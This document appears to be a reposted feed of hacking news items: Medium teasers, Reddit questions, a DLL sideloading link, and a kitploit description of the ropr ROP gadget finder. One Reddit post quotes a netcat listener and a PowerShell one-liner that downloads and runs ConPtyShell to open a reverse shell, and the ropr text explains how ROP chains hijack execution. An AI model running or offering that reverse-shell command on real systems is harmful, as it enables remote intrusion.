Cybercriminals Developing this to Bypass Android Security Features

In a sign that malicious actors continue to find ways to work around Google Play Store security protections, researchers have spotted a…Continue reading on Medium »
Read more...

Cybercriminals Developing this to Bypass Android Security Features
https://medium.com/@ronnie.rodrigues/cybercriminals-developing-bugdrop-malware-to-bypass-android-security-features-4c552ad2ee7?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

In a sign that malicious actors continue to find ways to work around Google Play Store security protections, researchers have spotted a…Continue reading on Medium » (https://medium.com/@ronnie.rodrigues/cybercriminals-developing-bugdrop-malware-to-bypass-android-security-features-4c552ad2ee7?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Proximity sensor for gps phones?

This might not move a specific hacking question, but is there a way to get a proximity sensor for devices within a certain radius? For example, with location sharing (at least on iPhone), it would be neat to be notified with “[CONTACT] is within (x) miles from you.”

One use case could be when you are doing whatever at home and your family comes for an unexpected visit. Or your husband/wife is coming home and you forgot to preheat the oven or pull a turkey out of the freezer. (These are SFW examples since there are multiple more “useful” use cases)

submitted by /u/Its_GameOver
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Reverse shell with netcat error

I'm fairly new to hacking and I wanted to make a reverse shell connection between my kali Vbox and windows.

I've used these references from github.com/swisskyrepo

First I tried to listen on my Kali box with the command :
stty raw -echo; (stty size; cat) | nc -lvnp [PORT] -s [IP]
Then on powershell, I used the command:
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell [IP] PORT]
Powershell gives the message:
CreatePseudoConsole function found! Spawning a fully interactive shell
And after a while of being unresponsive, it gives me an error:
ConPtyShellException: [-] ConPtyShellException: WSAConnect failed with error code: 10060 at ConPtyShell.connectRemote(String remoteIp, Int32 remotePort) at ConPtyShell.SpawnConPtyShell(String remoteIp, Int32 remotePort, UInt32 rows, UInt32 cols, String commandLine, Boolean upgradeShell) at ConPtyShellMainClass.ConPtyShellMain(String[] args)
Is this because of my network adapter (I'm using NAT) or a problem with the Poweshell program (ConPtyShell.ps1)?

submitted by /u/heerie
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
android hacking using esp8266 , node mcu

hey guys, I had an idea but don't know how to start it!

can I hack android using maybe a js malware uploaded to a NodeMCU host and take some level of access from them?

submitted by /u/ArianTheBest
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe: Stegoint Official Walkthrough

https://cdn-images-1.medium.com/max/1233/1*Zmvz4DPIUGaxlc7FfyUN-A.png
https://tryhackme.com/jr/stegoint

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
He shot down 6 major websites- and was only a kid

https://cdn-images-1.medium.com/max/600/1*U2GPbsO7vreEt1Hsc7Rghw.jpeg
It only took one click for the 15-year-old boy to take down 6 major websites. The damage itself costed $1.7 billion. How did he do it?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

IW Weekly #17: $30,000 Bounty, Instagram Account Takeover, AWS Security Series, Google…

Hey 👋Continue reading on InfoSec Write-ups »
Read more...

IW Weekly #17: $30,000 Bounty, Instagram Account Takeover, AWS Security Series, Google…
https://infosecwriteups.com/iw-weekly-17-30-000-bounty-instagram-account-takeover-aws-security-series-google-a0f3e6f980fb?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hey 👋Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/iw-weekly-17-30-000-bounty-instagram-account-takeover-aws-security-series-google-a0f3e6f980fb?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Guide to DLL SideLoading
https://www.reddit.com/r/redteamsec/comments/wrdwpy/guide_to_dll_sideloading/

Hey! Here's a small blog I wrote that shows how we can use DLL Sideloading. Let me know what you guys think. https://crypt0ace.github.io/posts/DLL-Sideloading/ submitted by /u/Potential_Waltz7400 (https://www.reddit.com/user/Potential_Waltz7400)
[link] (https://www.reddit.com/r/redteamsec/comments/wrdwpy/guide_to_dll_sideloading/) [comments] (https://www.reddit.com/r/redteamsec/comments/wrdwpy/guide_to_dll_sideloading/)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials


source

___________________________
@hacking_Attack
@Hacking_Video

Ropr - A Blazing Fast Multithreaded ROP Gadget Finder. Ropper / Ropgadget Alternative
http://www.kitploit.com/2022/08/ropr-blazing-fast-multithreaded-rop.html

___________________________
@hacking_Attack
@Hacking_Video

ropr is a blazing fast multithreaded (https://www.kitploit.com/search/label/multithreaded) ROP Gadget finder What is a ROP Gadget? ROP (Return Oriented Programming) Gadgets are small snippets of a few assembly instructions typically ending in a ret instruction which already exist as executable code within each binary or library. These gadgets may be used for binary exploitation (https://www.kitploit.com/search/label/Binary%20Exploitation) and to subvert vulnerable executables. When the addresses of many ROP Gadgets are written into a buffer we have formed a ROP Chain. If an attacker can move the stack pointer into this ROP Chain then control can be completely transferred to the attacker. Most executables contain enough gadgets to write a turing-complete ROP Chain. For those that don't, one can always use dynamic libraries contained in the same address-space such as libc once we know their addresses. The beauty of using ROP Gadgets is that no new executable code needs to be written anywhere - an attacker may achieve their objective using only the code that already exists in the program.
How do I use a ROP Gadget? Typically the first requirement to use ROP Gadgets is to have a place to write your ROP Chain - this can be any readable buffer. Simply write the addresses of each gadget you would like to use into this buffer. If the buffer is too small there may not be enough room to write a long ROP Chain into and so an attacker should be careful to craft their ROP Chain to be efficient enough to fit into the space available. The next requirement is to be able to control the stack - This can take the form of a stack overflow - which allows the ROP Chain to be written directly under the stack pointer, or a "stack pivot" - which is usually a single gadget which moves the stack pointer to the rest of the ROP Chain. Once the stack pointer is at the start of your ROP Chain, the next ret instruction will trigger the gadgets to be excuted in sequence - each using the next as its return address on its own stack frame. It is also possible to add function poitners into a ROP Chain - taking care that function arguments be supplied after the next element of the ROP Chain. This is typically combined with a "pop gadget", which pops the arguments off the stack in order to smoothly transition to the next gadget after the function arguments. How do I install ropr? Requires cargo (the rust build system) Easy install: cargo install ropr
the application will install to ~/.cargo/bin From source: git clone https://github.com/Ben-Lichtman/ropr
cd ropr
cargo build --release
the resulting binary will be located in target/release/ropr Alternatively: git clone https://github.com/Ben-Lichtman/ropr
cd ropr
cargo install --path .
the application will install to ~/.cargo/bin How do I use ropr? For example if I was looking for a way to fill rax with a value from another register I may choose to filter by the regex ^mov eax, ...;: Now I can add some filters to the command line (https://www.kitploit.com/search/label/Command%20Line) for the highest quality results: Now I have a good mov gadget candidate at address 0x00052252

Download Ropr (https://github.com/Ben-Lichtman/ropr)

___________________________
@hacking_Attack
@Hacking_Video